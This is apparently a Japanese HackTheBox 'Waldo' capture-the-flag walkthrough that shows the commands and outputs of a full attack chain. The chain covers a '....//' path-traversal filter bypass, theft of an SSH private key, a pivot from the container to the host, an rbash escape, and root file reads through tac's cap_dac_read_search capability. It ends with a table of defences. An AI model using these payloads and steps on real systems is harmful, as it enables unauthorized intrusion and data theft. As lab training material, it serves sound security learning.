HackTheBox: Waldo — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80 open
→
22/80 open
list.js 解析
readFile() → fileRead.php
→
readFile() → fileRead.php
パストラバーサル・フィルタ回避
“….//” → “../”
→
“….//” → “../”
.monitor 秘密鍵奪取
fileRead.php 経由
→
fileRead.php 経由
nobody@target SSH
user.txt ✓
→
user.txt ✓
同一鍵でホストへピボット
monitor@127.0.0.1
→
monitor@127.0.0.1
rbash脱出
bash –noprofile
→
bash –noprofile
getcap -r / で tac 発見
cap_dac_read_search+ei
→
cap_dac_read_search+ei
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -sC -sV -p- 10.129.229.141
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.5 (protocol 2.0) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 | http-title: List Manager |_Requested resource was /list.html Nmap done: 1 IP address (1 host up) scanned
ℹ️
稼働サービスは SSH(22) と nginx(80) のみ。トップページは
/list.html にリダイレクトされる “List Manager” という自作PHPアプリ。
PHASE 2
Webアプリ調査 — list.js のソース解析
トップページとJavaScriptソースの確認
BASH
curl -s http://10.129.229.141/list.html curl -s http://10.129.229.141/list.js
RESULT (list.js 抜粋)
function readFile(file){
var xhttp = new XMLHttpRequest();
xhttp.open("POST","fileRead.php",false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send('file=' + file);
if (xhttp.readyState === 4 && xhttp.status === 200) {
return xhttp.responseText;
}else{
}
}
ℹ️
readFile() は fileRead.php へ file パラメータをPOSTするだけの
シンプルな実装。同様に dirRead.php(ディレクトリ一覧)、fileWrite.php、
fileDelete.php という補助エンドポイントが存在することも list.js から判明した。
fileWrite.php による任意ファイル書込みの試行 → 失敗
NOTE
fileWrite.php は書込先ファイル名を "listnum" パラメータから生成するが、 PHP の is_numeric() でパラメータが数値であることを事前検証しているため、 ".php" 拡張子を持つファイル名を書き込ませることができない (コード実行への直接の道は塞がれている)。
dirRead.php のパストラバーサル対策とその不備
NOTE (dirRead.php 内の対策ロジック)
str_replace(array("../", "..\\"), "", $_POST['path'])
🚨
../../../../ のように ../ を連続させても、1回のpassで全て空文字列に
置換されてしまうため、素朴な連続ドットでは突破できない。しかし
str_replace は「置換後の文字列を再スキャンしない」単純な1パス処理であるため、
....// のような形にしておくと、内側の ../ だけが
消費され外側の ../ が残る、という典型的なフィルタ回避が可能になる。
BASH (PHP対話モードでの検証)
php -a
php > echo str_replace( array("../", "..\\"), "", "../../../../");
php > (空文字列 — フィルタが効く)
php > echo str_replace( array("../", "..\\"), "", "....//....//....//....//");
../../../../ (フィルタ回避成功)
PHASE 3
パストラバーサル実行 → SSH秘密鍵奪取 → user.txt
dirRead.php でホームディレクトリを列挙
BASH
curl -s -X POST http://10.129.229.141/dirRead.php \ --data-urlencode 'path=....//....//....//....//home/nobody/.ssh'
RESULT
["authorized_keys",".monitor",".monitor.pub","id_rsa","id_rsa.pub"]
ℹ️
Webサーバープロセス自身の実行ディレクトリ基準で
....//....//....//....// を
前置し、そこから home/nobody/.ssh という絶対パス相当の深い階層を辿っている。
.monitor という見慣れない秘密鍵ファイルが目を引く。
fileRead.php で .monitor 秘密鍵の内容を取得
BASH
curl -s -X POST http://10.129.229.141/fileRead.php \ --data-urlencode 'file=....//....//....//....//home/nobody/.ssh/.monitor'
RESULT
{"file":"-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAs7sytDE++NHaWB9e...(省略)...\n-----END RSA PRIVATE KEY-----\n"}
BASH (保存 & パーミッション調整)
# JSON の \n をローカルで実改行に戻してから保存 python3 -c "import json,sys; print(json.load(sys.stdin)['file'],end='')" < resp.json > waldo_monitor.key chmod 600 waldo_monitor.key
✅
この秘密鍵は後で分かる通り 2つの役割を兼ねている:
(1) コンテナ内
nobody ユーザーの認証鍵として authorized_keys に登録済み、
(2) ホストOS側の monitor ユーザーへの認証鍵としても使える(同じ鍵ファイル名
.monitor がホスト側 ~/.ssh/ にも配置されている)。
nobody としてSSHログイン & user.txt 取得
BASH
ssh -i waldo_monitor.key -o StrictHostKeyChecking=no nobody@10.129.229.141
RESULT
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ ls
user.txt
waldo:~$ cat user.txt
d739cf5158520692121a8adb1746eaca
user.txt — nobody@waldo (コンテナ内)
d739cf5158520692121a8adb1746eaca
ℹ️
ログインバナーが “Welcome to Alpine!” であることから、このシェルは
コンテナ内(Alpine Linuxベース)のものであり、ホストOS本体ではないと分かる。
nobody アカウント自体は uid=65534 の無権限ユーザー。
PHASE 4
コンテナ → ホストOS へのピボット (同一鍵の再利用)
コンテナ内に他に使える手がかりがないか確認
NOTE
nobody としてコンテナ内を見渡しても、これ以上の特権昇格の糸口はない (無権限コンテナユーザーとしての行き止まり)。 ただし ~/.ssh/ 配下には .monitor という別の秘密鍵も存在しており、 これが「コンテナの外」、すなわちホストOSへの入口になっている。
同じ .monitor 鍵で 127.0.0.1 (ホスト自身) の monitor ユーザーへ接続
BASH (nobody シェル内から実行)
waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1
RESULT
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
Here's Waldo, where's root?
Last login: ... from 127.0.0.1
-rbash: alias: command not found
🚨
127.0.0.1 という宛先と ASCII アート付きバナー(Debianカーネル)から、
これはコンテナの外、つまりホストOS本体への接続であることが確定する
(コンテナ内で動いていた nginx/PHP サービスが外部に露出する一方、
sshd 自体はホスト上で動作し、ローカルホスト限定で monitor ユーザーの
ログインを許可している構成)。接続直後に -rbash: alias: command not found
という警告が出ており、制限付きシェル (restricted bash) であることが分かる。
rbash の制限内容を確認
BASH
monitor@waldo:~$ cd / monitor@waldo:~$ ls monitor@waldo:~$ ls bin
RESULT
-rbash: cd: restricted app-dev bin -rbash: cd: restricted (bin ディレクトリへの cd も拒否) ls most red rnano
ℹ️
cd による任意ディレクトリ移動が拒否され、使えるコマンドも
~/bin/ 配下の ls / most / red / rnano のみに絞られている典型的な rbash 環境。
PHASE 5
rbash 脱出 & ファイルCapability調査
-t bash –noprofile で rbash を回避
BASH (nobody シェル内から)
waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -t 'bash --noprofile'
RESULT
monitor@waldo:~$
✅
SSHの非対話コマンド実行は、通常ログインシェル(ここでは rbash)を経由してしまうため
制限を引き継いでしまうが、
-t '<cmd>' で明示的に別シェルを強制起動させれば
制限プロファイルを完全にスキップできる。bash --noprofile は
/etc/profile や ~/.bashrc 等の、rbash設定を仕込んでいる初期化スクリプトを
一切読み込まずに通常の bash を起動する。
BASH (PATH再設定)
monitor@waldo:~$ echo $PATH /home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1 monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
ℹ️
rbash を回避してもPATHはrbashユーザー用の制限付き値を引き継ぐため、
getcap 等の標準コマンドを使うにはPATHを手動で通常値に戻す必要がある。
app-dev の logMonitor アプリ調査 — ヒントとしてのcapability
NOTE
monitor のホームには app-dev/ というログ監視アプリのソース+ビルド済みバイナリがある。 内容はCLI引数に応じて /var/log/*.log を strncpy() でハードコードパスへコピーし表示するだけの単純な実装。 monitor@waldo:~/app-dev$ ./logMonitor -a Cannot open file monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session opened for user root by (uid=0) ... 同じソースから生成された2つのバイナリのうち、v0.1 版だけが SUIDビットも無いのに /var/log 配下を読める。ls -l で確認すると 両方 app-dev:monitor 所有・SUID無しで全く同じ権限設定なのに挙動が違う。
BASH
monitor@waldo:~$ getcap -r *
RESULT
app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
🚨
正体は Linux capability。
cap_dac_read_search は
「ファイル読み取り権限チェック・ディレクトリの読み取り/実行権限チェックをすべてバイパスする」
という、SUIDに匹敵する強力な特権。setcap で付与されたバイナリは、
実行者の通常の所有者/グループ/その他パーミッションを無視して任意ファイルを読める。
このログ監視アプリ自身はログファイル以外を読めないよう引数がハードコードされているため
直接の悪用はできないが、「capabilityが付与されたファイルを全探索する」という
次の一手への明確なヒントになっている。
ファイルシステム全体をcapability付きバイナリで走査
BASH
monitor@waldo:~$ getcap -r / 2>/dev/null
RESULT
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
/usr/bin/tac = cap_dac_read_search+ei
🚨
標準の
GNU coreutils バイナリである /usr/bin/tac(ファイルを行単位で
逆順に出力する、cat の逆)に 同じ cap_dac_read_search が
付与されている。これは明らかに管理者が意図的に(おそらく誤って、あるいはCTF用の
仕掛けとして)設定したものであり、tac は任意パスの引数を取れる汎用コマンドのため、
これを使えば権限チェックを無視して任意ファイルを読み取れる。
PHASE 6
tac の cap_dac_read_search を悪用 → root.txt
tac で /root/root.txt を直接読む
BASH
monitor@waldo:~$ /usr/bin/tac /root/root.txt
RESULT
91a9c2ee00d51a5d5247a8b35e4ef2d3
root.txt — /root/root.txt (cap_dac_read_search 経由、root権限なしで読み取り)
91a9c2ee00d51a5d5247a8b35e4ef2d3
✅
monitor ユーザーの実効UID/GIDは変わらないまま(whoami は依然
monitor)、ファイル読み取りに関する一切のDAC(Discretionary Access Control)
チェックを素通りして root 所有・600 パーミッションのファイルを読めている。
ファイルが1行しかないため、tac(逆順表示)でもcatと見た目の出力は変わらない。
一連のコマンドをワンライナー化した実行例(2段SSH + rbash回避)
BASH (Kali側から一括実行)
ssh -i waldo_monitor.key -o StrictHostKeyChecking=no nobody@10.129.229.141 \ "ssh -i .ssh/.monitor -o StrictHostKeyChecking=no monitor@127.0.0.1 \ -t 'bash --noprofile -c \"/usr/bin/tac /root/root.txt\"'"
RESULT
91a9c2ee00d51a5d5247a8b35e4ef2d3
ℹ️
非対話SSHコマンド実行は構成されたログインシェル(rbash)を経由してしまうため、
-t 'bash --noprofile -c "<cmd>"' の形で明示的に別シェルを
強制する必要がある点は、対話ログイン時(6-1節)と全く同じ理屈。この形であれば
SSH1回のコマンド実行だけで、ピボット先ホストでの全権限昇格チェーンを非対話的に完結できる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — nobody@waldo (コンテナ内)
d739cf5158520692121a8adb1746eaca
root.txt — /root/root.txt (ホストOS)
91a9c2ee00d51a5d5247a8b35e4ef2d3
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| パストラバーサル・フィルタ回避 | dirRead.php / fileRead.php (“List Manager”) | 任意ファイル読み取り(認証不要) | Critical | str_replace(array("../","..\\"),"",...) の1パス置換を ....// 形式で回避し、SSH秘密鍵を奪取 |
| コンテナ内→ホストOSへの鍵再利用 | SSH (monitor@127.0.0.1) | コンテナ境界の突破(ホストOSへのアクセス) | High | コンテナ内 nobody の秘密鍵がホスト側 monitor ユーザーの認証鍵としても有効なまま放置 |
| rbash (制限シェル) の回避 | monitor ユーザーのログインシェル | 制限シェルの完全な無効化 | Medium | ssh ... -t 'bash --noprofile [-c "..."]' でrbash初期化を一切経由せずに通常bashを強制起動 |
| cap_dac_read_search の誤設定 | /usr/bin/tac (標準coreutils) | 任意ファイル読み取り(root権限相当) | Critical | ファイル読み取り権限チェックを完全バイパスするcapabilityが汎用コマンドに付与されており、tac /root/root.txtで直読み |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 22(SSH)/80(nginx, “List Manager”)のみ |
| 2 | Web調査 | list.js 解析 (readFile→fileRead.php等)、dirRead.phpフィルタ解析 | パストラバーサル・フィルタの1パス置換不備を発見 |
| 3 | エクスプロイト | “….//” によるフィルタ回避 + dirRead/fileRead.php | user.txt 取得(nobody@コンテナ、.monitor秘密鍵経由SSH) |
| 4 | ピボット | 同一鍵で monitor@127.0.0.1 (ホスト) へ再接続 | コンテナ境界を突破、ホストOSへ到達(rbash制限付き) |
| 5 | 権限調査 | bash –noprofile でrbash回避、getcap -r / で全探索 | /usr/bin/tac に cap_dac_read_search+ei を発見 |
| 6 | 権限昇格 | tac /root/root.txt (capability悪用) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| パストラバーサル対策が str_replace の単純な1パス置換のみ | 置換結果を再帰的に空になるまでループ処理する、あるいは正規化後のパス (realpath()) がベースディレクトリ配下であることを検証する方式に切り替える。ブラックリスト方式自体を避け、許可リスト(既知のファイル名のみ許可)にする。 |
| コンテナ内ユーザーの秘密鍵がホストOSユーザーの認証鍵としても有効 | コンテナとホストで鍵を完全に分離する。同一鍵をまたがる権限境界で再利用しない。 |
| rbash は -t オプション付きSSHで容易に回避できる | rbashのような制限シェルをセキュリティ境界として過信しない。sudoの許可コマンドリストやAppArmor/SELinux等、OSレベルの強制アクセス制御と併用する。 |
| 標準coreutilsバイナリに cap_dac_read_search が付与されていた | setcap の付与対象は最小限・専用バイナリに限定し、tac/cat/less等の汎用コマンドには絶対に付与しない。定期的な getcap -r / によるcapability監査を実施する。 |

